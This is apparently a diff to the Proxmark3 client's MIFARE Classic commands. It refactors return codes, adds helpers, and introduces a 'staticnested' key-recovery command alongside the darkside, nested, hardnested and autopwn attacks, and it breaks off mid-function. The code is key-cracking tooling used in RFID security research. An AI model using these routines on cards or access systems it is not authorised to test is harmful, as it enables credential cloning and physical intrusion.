PrintAndLogEx(NORMAL, " hf mf cgetsc 0"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_csave(void) { PrintAndLogEx(NORMAL, "It saves `magic Chinese` card dump into the file `filename.eml` or `cardID.eml`"); PrintAndLogEx(NORMAL, "or into emulator memory"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(NORMAL, "Usage: hf mf csave [h] [e] [u] [card memory] i "); + PrintAndLogEx(NORMAL, "Usage: hf mf csave [h] [e] [u] [card memory] o "); PrintAndLogEx(NORMAL, "Options:"); PrintAndLogEx(NORMAL, " h this help"); PrintAndLogEx(NORMAL, " e save data to emulator memory"); @@ -435,7 +472,7 @@ static int usage_hf14_csave(void) { PrintAndLogEx(NORMAL, " hf mf csave u 1"); PrintAndLogEx(NORMAL, " hf mf csave e 1"); PrintAndLogEx(NORMAL, " hf mf csave 4 o filename"); - return 0; + return PM3_SUCCESS; } static int usage_hf14_nack(void) { PrintAndLogEx(NORMAL, "Test a mifare classic based card for the NACK bug."); @@ -446,7 +483,7 @@ static int usage_hf14_nack(void) { PrintAndLogEx(NORMAL, " v verbose"); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " hf mf nack"); - return 0; + return PM3_SUCCESS; } static int GetHFMF14AUID(uint8_t *uid, int *uidlen) { @@ -483,6 +520,24 @@ static char *GenerateFilename(const char *prefix, const char *suffix) { return fptr; } +static int32_t initSectorTable(sector_t **src, int32_t items) { + + // initialize storage + (*src) = calloc(items, sizeof(sector_t)); + + if (*src == NULL) + return -1; + + // empty e_sector + for (int i = 0; i < items; ++i) { + for (int j = 0; j < 2; ++j) { + (*src)[i].Key[j] = 0xffffffffffff; + (*src)[i].foundKey[j] = false; + } + } + return items; +} + static int CmdHF14AMfDarkside(const char *Cmd) { uint8_t blockno = 0, key_type = MIFARE_AUTH_KEYA; uint64_t key = 0; @@ -501,26 +556,26 @@ static int CmdHF14AMfDarkside(const char *Cmd) { switch (isOK) { case -1 : PrintAndLogEx(WARNING, "button pressed. Aborted."); - return 1; + return PM3_ESOFT; case -2 : PrintAndLogEx(FAILED, "card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests)."); - return 1; + return PM3_ESOFT; case -3 : PrintAndLogEx(FAILED, "card is not vulnerable to Darkside attack (its random number generator is not predictable)."); - return 1; + return PM3_ESOFT; case -4 : PrintAndLogEx(FAILED, "card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown"); PrintAndLogEx(FAILED, "generating polynomial with 16 effective bits only, but shows unexpected behaviour."); - return 1; + return PM3_ESOFT; case -5 : PrintAndLogEx(WARNING, "aborted via keyboard."); - return 1; + return PM3_ESOFT; default : - PrintAndLogEx(SUCCESS, "found valid key: %012" PRIx64 "\n", key); + PrintAndLogEx(SUCCESS, "found valid key: "_YELLOW_("%012" PRIx64), key); break; } PrintAndLogEx(NORMAL, ""); - return 0; + return PM3_SUCCESS; } static int CmdHF14AMfWrBl(const char *Cmd) { @@ -1223,17 +1278,24 @@ static int CmdHF14AMfNested(const char *Cmd) { j++; } + // check if tag doesn't have static nonce + if (detect_classic_static_nonce() != 0) { + PrintAndLogEx(WARNING, "Static nonce detected. Quitting..."); + PrintAndLogEx(INFO, "\t Try use " _YELLOW_("`hf mf staticnested`")); + return PM3_EOPABORTED; + } + // check if we can authenticate to sector if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block:%3d key type:%c", blockNo, keyType ? 'B' : 'A'); - return 3; + return PM3_EOPABORTED; } if (cmdp == 'o') { int16_t isOK = mfnested(blockNo, keyType, key, trgBlockNo, trgKeyType, keyBlock, true); switch (isOK) { case -1 : - PrintAndLogEx(ERR, "Error: No response from Proxmark3.\n"); + PrintAndLogEx(ERR, "Command execute timeout\n"); break; case -2 : PrintAndLogEx(WARNING, "Button pressed. Aborted.\n"); @@ -1250,6 +1312,7 @@ static int CmdHF14AMfNested(const char *Cmd) { // transfer key to the emulator if (transferToEml) { uint8_t sectortrailer; + if (trgBlockNo < 32 * 4) { // 4 block sector sectortrailer = trgBlockNo | 0x03; } else { // 16 block sector @@ -1261,12 +1324,13 @@ static int CmdHF14AMfNested(const char *Cmd) { num_to_bytes(key64, 6, keyBlock); else num_to_bytes(key64, 6, &keyBlock[10]); + mfEmlSetMem(keyBlock, sectortrailer, 1); PrintAndLogEx(SUCCESS, "Key transferred to emulator memory."); } return PM3_SUCCESS; default : - PrintAndLogEx(ERR, "Unknown Error.\n"); + PrintAndLogEx(ERR, "Unknown error.\n"); } return PM3_SUCCESS; } else { // ------------------------------------ multiple sectors working @@ -1287,7 +1351,7 @@ static int CmdHF14AMfNested(const char *Cmd) { num_to_bytes(g_mifare_default_keys[cnt], 6, (uint8_t *)(keyBlock + cnt * 6)); } - PrintAndLogEx(SUCCESS, "Testing known keys. Sector count=%d", SectorsCnt); + PrintAndLogEx(SUCCESS, "Testing known keys. Sector count "_YELLOW_("%d"), SectorsCnt); int res = mfCheckKeys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, false); if (res == PM3_SUCCESS) { // all keys found @@ -1296,8 +1360,8 @@ static int CmdHF14AMfNested(const char *Cmd) { } uint64_t t2 = msclock() - t1; - PrintAndLogEx(SUCCESS, "Time to check %zu known keys: %.0f seconds\n", ARRAYLEN(g_mifare_default_keys), (float)t2 / 1000.0); - PrintAndLogEx(SUCCESS, "enter nested attack"); + PrintAndLogEx(SUCCESS, "Time to check " _YELLOW_("%zu") "known keys: %.0f seconds\n", ARRAYLEN(g_mifare_default_keys), (float)t2 / 1000.0); + PrintAndLogEx(SUCCESS, "enter nested key recovery"); // nested sectors // int iterations = 0; @@ -1312,7 +1376,7 @@ static int CmdHF14AMfNested(const char *Cmd) { int16_t isOK = mfnested(blockNo, keyType, key, FirstBlockOfSector(sectorNo), trgKeyType, keyBlock, calibrate); switch (isOK) { case -1 : - PrintAndLogEx(ERR, "error: No response from Proxmark3.\n"); + PrintAndLogEx(ERR, "Command execute timeout\n"); break; case -2 : PrintAndLogEx(WARNING, "button pressed. Aborted.\n"); @@ -1334,7 +1398,7 @@ static int CmdHF14AMfNested(const char *Cmd) { continue; default : - PrintAndLogEx(ERR, "unknown Error.\n"); + PrintAndLogEx(ERR, "Unknown error.\n"); } free(e_sector); return PM3_ESOFT; @@ -1343,13 +1407,13 @@ static int CmdHF14AMfNested(const char *Cmd) { } t1 = msclock() - t1; - PrintAndLogEx(SUCCESS, "time in nested: %.0f seconds\n", (float)t1 / 1000.0); + PrintAndLogEx(SUCCESS, "time in nested: " _YELLOW_("%.0f") "seconds\n", (float)t1 / 1000.0); // 20160116 If Sector A is found, but not Sector B, try just reading it of the tag? PrintAndLogEx(INFO, "trying to read key B..."); for (int i = 0; i < SectorsCnt; i++) { - // KEY A but not KEY B + // KEY A but not KEY B if (e_sector[i].foundKey[0] && !e_sector[i].foundKey[1]) { uint8_t sectrail = (FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1); @@ -1382,6 +1446,9 @@ static int CmdHF14AMfNested(const char *Cmd) { jumptoend: + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "found keys:"); + //print them printKeyTable(SectorsCnt, e_sector); @@ -1410,44 +1477,222 @@ jumptoend: // Create dump file if (createDumpFile) { char *fptr = GenerateFilename("hf-mf-", "-key.bin"); - if (fptr == NULL) { + if (createMfcKeyDump(fptr, SectorsCnt, e_sector) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to save keys to file"); free(e_sector); return PM3_ESOFT; } - FILE *fkeys; - if ((fkeys = fopen(fptr, "wb")) == NULL) { - PrintAndLogEx(WARNING, "could not create file " _YELLOW_("%s"), fptr); - free(e_sector); - return PM3_EFILE; - } - - PrintAndLogEx(SUCCESS, "saving keys to binary file " _YELLOW_("%s"), fptr); - uint8_t standard[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; - uint8_t tempkey[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; - for (int i = 0; i < SectorsCnt; i++) { - if (e_sector[i].foundKey[0]) { - num_to_bytes(e_sector[i].Key[0], 6, tempkey); - fwrite(tempkey, 1, 6, fkeys); - } else { - fwrite(&standard, 1, 6, fkeys); - } - } - for (int i = 0; i < SectorsCnt; i++) { - if (e_sector[i].foundKey[1]) { - num_to_bytes(e_sector[i].Key[1], 6, tempkey); - fwrite(tempkey, 1, 6, fkeys); - } else { - fwrite(&standard, 1, 6, fkeys); - } - } - fflush(fkeys); - fclose(fkeys); } free(e_sector); } return PM3_SUCCESS; } +static int CmdHF14AMfNestedStatic(const char *Cmd) { + sector_t *e_sector = NULL; + uint8_t keyType = 0; + uint8_t trgKeyType = 0; + uint8_t SectorsCnt = 0; + uint8_t key[6] = {0, 0, 0, 0, 0, 0}; + uint8_t keyBlock[(ARRAYLEN(g_mifare_default_keys) + 1) * 6]; + uint64_t key64 = 0; + bool transferToEml = false; + bool createDumpFile = false; + + if (strlen(Cmd) < 3) return usage_hf14_staticnested(); + + char cmdp, ctmp; + cmdp = tolower(param_getchar(Cmd, 0)); + uint8_t blockNo = param_get8(Cmd, 1); + ctmp = tolower(param_getchar(Cmd, 2)); + + if (ctmp != 'a' && ctmp != 'b') { + PrintAndLogEx(WARNING, "key type must be A or B"); + return PM3_EINVARG; + } + + if (ctmp != 'a') + keyType = 1; + + if (param_gethex(Cmd, 3, key, 12)) { + PrintAndLogEx(WARNING, "key must include 12 HEX symbols"); + return PM3_EINVARG; + } + + SectorsCnt = NumOfSectors(cmdp); + if (SectorsCnt == 0) return usage_hf14_staticnested(); + + uint8_t j = 4; + while (ctmp != 0x00) { + + ctmp = tolower(param_getchar(Cmd, j)); + transferToEml |= (ctmp == 't'); + createDumpFile |= (ctmp == 'd'); + + j++; + } + + // check if tag have static nonce + if (detect_classic_static_nonce() == 0) { + PrintAndLogEx(WARNING, "None static nonce detected. Quitting..."); + PrintAndLogEx(INFO, "\t Try use " _YELLOW_("`hf mf nested`")); + return PM3_EOPABORTED; + } + + // check if we can authenticate to sector + if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block: %3d key type: %c", blockNo, keyType ? 'B' : 'A'); + return PM3_EOPABORTED; + } + + if (IfPm3Flash()) { + PrintAndLogEx(INFO, "RDV4 with flashmemory supported detected."); + } + + uint64_t t1 = msclock(); + + e_sector = calloc(SectorsCnt, sizeof(sector_t)); + if (e_sector == NULL) return PM3_EMALLOC; + + // add our known key + e_sector[GetSectorFromBlockNo(blockNo)].foundKey[keyType] = 1; + e_sector[GetSectorFromBlockNo(blockNo)].Key[keyType] = key64; + + //test current key and additional standard keys first + // add parameter key + memcpy(keyBlock + (ARRAYLEN(g_mifare_default_keys) * 6), key, 6); + + for (int cnt = 0; cnt < ARRAYLEN(g_mifare_default_keys); cnt++) { + num_to_bytes(g_mifare_default_keys[cnt], 6, (uint8_t *)(keyBlock + cnt * 6)); + } + + PrintAndLogEx(SUCCESS, "Testing known keys. Sector count "_YELLOW_("%d"), SectorsCnt); + int res = mfCheckKeys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, false); + if (res == PM3_SUCCESS) { + // all keys found + PrintAndLogEx(SUCCESS, "Fast check found all keys"); + goto jumptoend; + } + + uint64_t t2 = msclock() - t1; + PrintAndLogEx(SUCCESS, "Time to check "_YELLOW_("%zu") "known keys: %.0f seconds\n", ARRAYLEN(g_mifare_default_keys), (float)t2 / 1000.0); + PrintAndLogEx(SUCCESS, "enter static nested key recovery"); + + // nested sectors + for (trgKeyType = 0; trgKeyType < 2; ++trgKeyType) { + for (uint8_t sectorNo = 0; sectorNo < SectorsCnt; ++sectorNo) { + + for (int i = 0; i < 1; i++) { + + if (e_sector[sectorNo].foundKey[trgKeyType]) continue; + + int16_t isOK = mfStaticNested(blockNo, keyType, key, FirstBlockOfSector(sectorNo), trgKeyType, keyBlock); + switch (isOK) { + case PM3_ETIMEOUT : + PrintAndLogEx(ERR, "Command execute timeout"); + break; + case PM3_EOPABORTED : + PrintAndLogEx(WARNING, "aborted via keyboard."); + break; + case PM3_ESOFT : + continue; + case PM3_SUCCESS : + e_sector[sectorNo].foundKey[trgKeyType] = 1; + e_sector[sectorNo].Key[trgKeyType] = bytes_to_num(keyBlock, 6); + + mfCheckKeys_fast(SectorsCnt, true, true, 2, 1, keyBlock, e_sector, false); + continue; + default : + PrintAndLogEx(ERR, "unknown error.\n"); + } + free(e_sector); + return PM3_ESOFT; + } + } + } + + t1 = msclock() - t1; + PrintAndLogEx(SUCCESS, "time in static nested: " _YELLOW_("%.0f") "seconds\n", (float)t1 / 1000.0); + + + // 20160116 If Sector A is found, but not Sector B, try just reading it of the tag? + PrintAndLogEx(INFO, "trying to read key B..."); + for (int i = 0; i < SectorsCnt; i++) { + // KEY A but not KEY B + if (e_sector[i].foundKey[0] && !e_sector[i].foundKey[1]) { + + uint8_t sectrail = (FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1); + + PrintAndLogEx(SUCCESS, "reading block %d", sectrail); + + mf_readblock_t payload; + payload.blockno = sectrail; + payload.keytype = 0; + + num_to_bytes(e_sector[i].Key[0], 6, payload.key); // KEY A + + clearCommandBuffer(); + SendCommandNG(CMD_HF_MIFARE_READBL, (uint8_t *)&payload, sizeof(mf_readblock_t)); + + PacketResponseNG resp; + if (!WaitForResponseTimeout(CMD_HF_MIFARE_READBL, &resp, 1500)) continue; + + if (resp.status != PM3_SUCCESS) continue; + + uint8_t *data = resp.data.asBytes; + key64 = bytes_to_num(data + 10, 6); + if (key64) { + PrintAndLogEx(SUCCESS, "data: %s", sprint_hex(data + 10, 6)); + e_sector[i].foundKey[1] = true; + e_sector[i].Key[1] = key64; + } + } + } + +jumptoend: + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "found keys:"); + + //print them + printKeyTable(SectorsCnt, e_sector); + + // transfer them to the emulator + if (transferToEml) { + // fast push mode + conn.block_after_ACK = true; + for (int i = 0; i < SectorsCnt; i++) { + mfEmlGetMem(keyBlock, FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1, 1); + + if (e_sector[i].foundKey[0]) + num_to_bytes(e_sector[i].Key[0], 6, keyBlock); + + if (e_sector[i].foundKey[1]) + num_to_bytes(e_sector[i].Key[1], 6, &keyBlock[10]); + + if (i == SectorsCnt - 1) { + // Disable fast mode on last packet + conn.block_after_ACK = false; + } + mfEmlSetMem(keyBlock, FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1, 1); + } + PrintAndLogEx(SUCCESS, "keys transferred to emulator memory."); + } + + // Create dump file + if (createDumpFile) { + char *fptr = GenerateFilename("hf-mf-", "-key.bin"); + if (createMfcKeyDump(fptr, SectorsCnt, e_sector) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to save keys to file"); + free(e_sector); + return PM3_ESOFT; + } + } + free(e_sector); + + return PM3_SUCCESS; +} + static int CmdHF14AMfNestedHard(const char *Cmd) { uint8_t blockNo = 0; uint8_t keyType = 0; @@ -1592,10 +1837,18 @@ static int CmdHF14AMfNestedHard(const char *Cmd) { } if (!know_target_key && nonce_file_read == false) { + + // check if tag doesn't have static nonce + if (detect_classic_static_nonce() != 0) { + PrintAndLogEx(WARNING, "Static nonce detected. Quitting..."); + PrintAndLogEx(INFO, "\t Try use `" _YELLOW_("hf mf staticnested") "`"); + return PM3_EOPABORTED; + } + uint64_t key64 = 0; // check if we can authenticate to sector if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { - PrintAndLogEx(WARNING, "Key is wrong. Can't authenticate to block:%3d key type:%c", blockNo, keyType ? 'B' : 'A'); + PrintAndLogEx(WARNING, "Key is wrong. Can't authenticate to block: %3d key type: %c", blockNo, keyType ? 'B' : 'A'); return 3; } } @@ -1721,7 +1974,6 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { if (param_gethex(Cmd, cmdp + 3, key, 12)) { PrintAndLogEx(WARNING, "Key must include 12 HEX symbols"); errors = true; - return PM3_EINVARG; } know_target_key = true; cmdp += 3; @@ -1767,16 +2019,11 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { return usage_hf14_autopwn(); } - // Create the key storage stucture - e_sector = calloc(sectors_cnt, sizeof(sector_t)); - if (e_sector == NULL) return PM3_EMALLOC; - - // clear the key storage - for (int i = 0; i < sectors_cnt; i++) { - for (int j = 0; j < 2; j++) { - e_sector[i].Key[j] = 0; - e_sector[i].foundKey[j] = 0; - } + // create/initialize key storage structure + int32_t res = initSectorTable(&e_sector, sectors_cnt); + if (res != sectors_cnt) { + free(e_sector); + return PM3_EMALLOC; } // card prng type (weak=1 / hard=0 / select/card comm error = negative value) @@ -1872,7 +2119,7 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { bool load_success = true; // Load the dictionary if (has_filename) { - int res = loadFileDICTIONARY_safe(filename, (void **) &keyBlock, 6, &key_cnt); + res = loadFileDICTIONARY_safe(filename, (void **) &keyBlock, 6, &key_cnt); if (res != PM3_SUCCESS || key_cnt == 0 || keyBlock == NULL) { PrintAndLogEx(FAILED, "An error occurred while loading the dictionary! (we will use the default keys now)"); if (keyBlock != NULL) @@ -1941,7 +2188,7 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { if (size == key_cnt - i) lastChunk = true; - int res = mfCheckKeys_fast(sectors_cnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * 6), e_sector, false); + res = mfCheckKeys_fast(sectors_cnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * 6), e_sector, false); if (firstChunk) firstChunk = false; // all keys, aborted @@ -1992,7 +2239,7 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { // Check if the darkside attack can be used if (prng_type) { if (verbose) PrintAndLogEx(INFO, _YELLOW_("======================= START DARKSIDE ATTACK =======================")); - int isOK = mfDarkside(FirstBlockOfSector(blockNo), keyType, &key64); + isOK = mfDarkside(FirstBlockOfSector(blockNo), keyType, &key64); if (verbose) PrintAndLogEx(INFO, _YELLOW_("======================= STOP DARKSIDE ATTACK =======================")); switch (isOK) { case -1 : @@ -2216,47 +2463,17 @@ all_found: // Show the results to the user PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "found Keys:"); + PrintAndLogEx(INFO, "found keys:"); - char strA[12 + 1] = {0}; - char strB[12 + 1] = {0}; - PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); - PrintAndLogEx(NORMAL, "|sec|key A |res|key B |res|"); - PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); - for (uint8_t i = 0; i < sectors_cnt; ++i) { - - snprintf(strA, sizeof(strA), "------------"); - snprintf(strB, sizeof(strB), "------------"); - - if (e_sector[i].foundKey[0]) - snprintf(strA, sizeof(strA), "%012" PRIx64, e_sector[i].Key[0]); - - if (e_sector[i].foundKey[1]) - snprintf(strB, sizeof(strB), "%012" PRIx64, e_sector[i].Key[1]); - - - PrintAndLogEx(NORMAL, "|%03d| %s | " _YELLOW_("%c")"| %s | " _YELLOW_("%c")"|" - , i - , strA, e_sector[i].foundKey[0] - , strB, e_sector[i].foundKey[1] - ); - } - PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); - PrintAndLogEx(NORMAL, "( " - _YELLOW_("D") ":Dictionary / " - _YELLOW_("S") ":darkSide / " - _YELLOW_("U") ":User / " - _YELLOW_("R") ":Reused / " - _YELLOW_("N") ":Nested / " - _YELLOW_("H") ":Hardnested / " - _YELLOW_("A") ":keyA " - ")" - ); + printKeyTable(sectors_cnt, e_sector); // Dump the keys PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "saving keys"); - createMfcKeyDump(sectors_cnt, e_sector, GenerateFilename("hf-mf-", "-key.bin")); + + char *fptr = GenerateFilename("hf-mf-", "-key.bin"); + if (createMfcKeyDump(fptr, sectors_cnt, e_sector) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to save keys to file"); + } PrintAndLogEx(SUCCESS, "transferring keys to simulator memory (Cmd Error: 04 can occur)"); @@ -2304,13 +2521,20 @@ all_found: // Generate and show statistics t1 = msclock() - t1; - PrintAndLogEx(INFO, "autopwn execution time: " _YELLOW_("%.0f") " seconds", (float)t1 / 1000.0); + PrintAndLogEx(INFO, "autopwn execution time: " _YELLOW_("%.0f") "seconds", (float)t1 / 1000.0); free(dump); free(e_sector); return PM3_SUCCESS; } +/* +static int CmdHF14AMfNestedFixed(const char *Cmd){ + if (strlen(Cmd) < 3) return usage_hf14_fixednested(); + + return PM3_SUCCESS; +} +*/ /* static int randInRange(int min, int max) { return min + (int)(rand() / (double)(RAND_MAX) * (max - min + 1)); @@ -2343,7 +2567,6 @@ static int CmdHF14AMfChk_fast(const char *Cmd) { FILE *f; char filename[FILE_PATH_SIZE] = {0}; char buf[13]; - char *fptr; uint8_t *keyBlock, *p; uint8_t sectorsCnt = 1; int i, keycnt = 0; @@ -2472,9 +2695,9 @@ static int CmdHF14AMfChk_fast(const char *Cmd) { (keyBlock + 6 * keycnt)[3], (keyBlock + 6 * keycnt)[4], (keyBlock + 6 * keycnt)[5]); } - // // initialize storage for found keys - e_sector = calloc(sectorsCnt, sizeof(sector_t)); - if (e_sector == NULL) { + // create/initialize key storage structure + int32_t res = initSectorTable(&e_sector, sectorsCnt); + if (res != sectorsCnt) { free(keyBlock); return PM3_EMALLOC; } @@ -2508,7 +2731,7 @@ static int CmdHF14AMfChk_fast(const char *Cmd) { if (size == keycnt - i) lastChunk = true; - int res = mfCheckKeys_fast(sectorsCnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * 6), e_sector, false); + res = mfCheckKeys_fast(sectorsCnt, firstChunk, lastChunk, strategy, size, keyBlock + (i * 6), e_sector, false); if (firstChunk) firstChunk = false; @@ -2540,6 +2763,9 @@ out: PrintAndLogEx(WARNING, "No keys found"); } else { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "found keys:"); + printKeyTable(sectorsCnt, e_sector); if (use_flashmemory && found_keys == (sectorsCnt << 1)) { @@ -2556,10 +2782,13 @@ out: for (i = 0; i < sectorsCnt; ++i) { uint8_t blockno = FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1; mfEmlGetMem(block, blockno, 1); + if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], 6, block); + if (e_sector[i].foundKey[1]) num_to_bytes(e_sector[i].Key[1], 6, block + 10); + if (i == sectorsCnt - 1) { // Disable fast mode on last packet conn.block_after_ACK = false; @@ -2574,8 +2803,11 @@ out: } if (createDumpFile) { - fptr = GenerateFilename("hf-mf-", "-key.bin"); - createMfcKeyDump(sectorsCnt, e_sector, fptr); + + char *fptr = GenerateFilename("hf-mf-", "-key.bin"); + if (createMfcKeyDump(fptr, sectorsCnt, e_sector) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to save keys to file"); + } } } @@ -2601,23 +2833,15 @@ static int CmdHF14AMfChk(const char *Cmd) { uint8_t keyType = 0; uint32_t keyitems = ARRAYLEN(g_mifare_default_keys); uint64_t key64 = 0; - char *fptr; int clen = 0; int transferToEml = 0; int createDumpFile = 0; int i, keycnt = 0; - keyBlock = calloc(ARRAYLEN(g_mifare_default_keys), 6); - if (keyBlock == NULL) return PM3_EMALLOC; - - for (int cnt = 0; cnt < ARRAYLEN(g_mifare_default_keys); cnt++) - num_to_bytes(g_mifare_default_keys[cnt], 6, (uint8_t *)(keyBlock + cnt * 6)); - if (param_getchar(Cmd, 0) == '*') { blockNo = 3; SectorsCnt = NumOfSectors(param_getchar(Cmd + 1, 0)); if (SectorsCnt == 0) { - free(keyBlock); return usage_hf14_chk(); } } else { @@ -2639,11 +2863,18 @@ static int CmdHF14AMfChk(const char *Cmd) { break; default: PrintAndLogEx(FAILED, "Key type must be A , B or ?"); - free(keyBlock); return PM3_ESOFT; }; } + // Allocate memory for keys to be tested + keyBlock = calloc(ARRAYLEN(g_mifare_default_keys), 6); + if (keyBlock == NULL) return PM3_EMALLOC; + + // Copy default keys to list + for (int cnt = 0; cnt < ARRAYLEN(g_mifare_default_keys); cnt++) + num_to_bytes(g_mifare_default_keys[cnt], 6, (uint8_t *)(keyBlock + cnt * 6)); + for (i = 2; param_getchar(Cmd, i); i++) { ctmp = tolower(param_getchar(Cmd, i)); @@ -2744,22 +2975,13 @@ static int CmdHF14AMfChk(const char *Cmd) { ); } - // initialize storage for found keys - e_sector = calloc(SectorsCnt, sizeof(sector_t)); - if (e_sector == NULL) { + // create/initialize key storage structure + int32_t res = initSectorTable(&e_sector, SectorsCnt); + if (res != SectorsCnt) { free(keyBlock); return PM3_EMALLOC; } - // empty e_sector - for (i = 0; i < SectorsCnt; ++i) { - e_sector[i].Key[0] = 0xffffffffffff; - e_sector[i].Key[1] = 0xffffffffffff; - e_sector[i].foundKey[0] = false; - e_sector[i].foundKey[1] = false; - } - - uint8_t trgKeyType = 0; uint16_t max_keys = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt; @@ -2771,9 +2993,11 @@ static int CmdHF14AMfChk(const char *Cmd) { // clear trace log by first check keys call only bool clearLog = true; + // check keys. for (trgKeyType = (keyType == 2) ? 0 : keyType; trgKeyType < 2; (keyType == 2) ? (++trgKeyType) : (trgKeyType = 2)) { + // loop sectors but block is used as to keep track of from which blocks to test int b = blockNo; for (i = 0; i < SectorsCnt; ++i) { @@ -2809,19 +3033,25 @@ static int CmdHF14AMfChk(const char *Cmd) { // 20160116 If Sector A is found, but not Sector B, try just reading it of the tag? if (keyType != 1) { PrintAndLogEx(INFO, "testing to read key B..."); + + // loop sectors but block is used as to keep track of from which blocks to test + int b = blockNo; for (i = 0; i < SectorsCnt; i++) { - // KEY A but not KEY B + + // KEY A but not KEY B if (e_sector[i].foundKey[0] && !e_sector[i].foundKey[1]) { - uint8_t sectrail = (FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1); - - PrintAndLogEx(NORMAL, "Reading block %d", sectrail); + uint8_t s = GetSectorFromBlockNo(b); + uint8_t sectrail = (FirstBlockOfSector(s) + NumBlocksPerSector(s) - 1); + PrintAndLogEx(INFO, "Sector %u, First block of sector %u, Num of block %u", s, FirstBlockOfSector(s), NumBlocksPerSector(s)); + PrintAndLogEx(INFO, "Reading block %d", sectrail); mf_readblock_t payload; payload.blockno = sectrail; payload.keytype = 0; - num_to_bytes(e_sector[i].Key[0], 6, payload.key); // KEY A + // Use key A + num_to_bytes(e_sector[i].Key[0], 6, payload.key); clearCommandBuffer(); SendCommandNG(CMD_HF_MIFARE_READBL, (uint8_t *)&payload, sizeof(mf_readblock_t)); @@ -2839,12 +3069,19 @@ static int CmdHF14AMfChk(const char *Cmd) { e_sector[i].Key[1] = key64; } } + b < 127 ? (b += 4) : (b += 16); } } out: + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "found keys:"); + //print keys - printKeyTable(SectorsCnt, e_sector); + if (SectorsCnt == 1) + printKeyTableEx(SectorsCnt, e_sector, GetSectorFromBlockNo(blockNo)); + else + printKeyTable(SectorsCnt, e_sector); if (transferToEml) { // fast push mode @@ -2853,10 +3090,13 @@ out: for (i = 0; i < SectorsCnt; ++i) { uint8_t blockno = FirstBlockOfSector(i) + NumBlocksPerSector(i) - 1; mfEmlGetMem(block, blockno, 1); + if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], 6, block); + if (e_sector[i].foundKey[1]) num_to_bytes(e_sector[i].Key[1], 6, block + 10); + if (i == SectorsCnt - 1) { // Disable fast mode on last packet conn.block_after_ACK = false; @@ -2867,9 +3107,12 @@ out: } if (createDumpFile) { - fptr = GenerateFilename("hf-mf-", "-key.bin"); - createMfcKeyDump(SectorsCnt, e_sector, fptr); + char *fptr = GenerateFilename("hf-mf-", "-key.bin"); + if (createMfcKeyDump(fptr, SectorsCnt, e_sector) != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to save keys to file"); + } } + free(keyBlock); free(e_sector); @@ -2887,22 +3130,6 @@ out: sector_t *k_sector = NULL; uint8_t k_sectorsCount = 16; -static void emptySectorTable() { - - // initialize storage for found keys - if (k_sector == NULL) - k_sector = calloc(k_sectorsCount, sizeof(sector_t)); - if (k_sector == NULL) - return; - - // empty e_sector - for (int i = 0; i < k_sectorsCount; ++i) { - k_sector[i].Key[0] = 0xffffffffffff; - k_sector[i].Key[1] = 0xffffffffffff; - k_sector[i].foundKey[0] = false; - k_sector[i].foundKey[1] = false; - } -} void showSectorTable() { if (k_sector != NULL) { @@ -2917,8 +3144,12 @@ void readerAttack(nonces_t data, bool setEmulatorMem, bool verbose) { uint64_t key = 0; bool success = false; - if (k_sector == NULL) - emptySectorTable(); + if (k_sector == NULL) { + int32_t res = initSectorTable(&k_sector, k_sectorsCount); + if (res != k_sectorsCount) { + return; + } + } success = mfkey32_moebius(&data, &key); if (success) { @@ -3307,12 +3538,15 @@ static int CmdHF14AMfKeyBrute(const char *Cmd) { */ void printKeyTable(uint8_t sectorscnt, sector_t *e_sector) { + return printKeyTableEx(sectorscnt, e_sector, 0); +} +void printKeyTableEx(uint8_t sectorscnt, sector_t *e_sector, uint8_t start_sector) { char strA[12 + 1] = {0}; char strB[12 + 1] = {0}; PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); - PrintAndLogEx(NORMAL, "|sec|key A |res|key B |res|"); + PrintAndLogEx(NORMAL, "|sec| key A |res| key B |res|"); PrintAndLogEx(NORMAL, "|---|----------------|---|----------------|---|"); - for 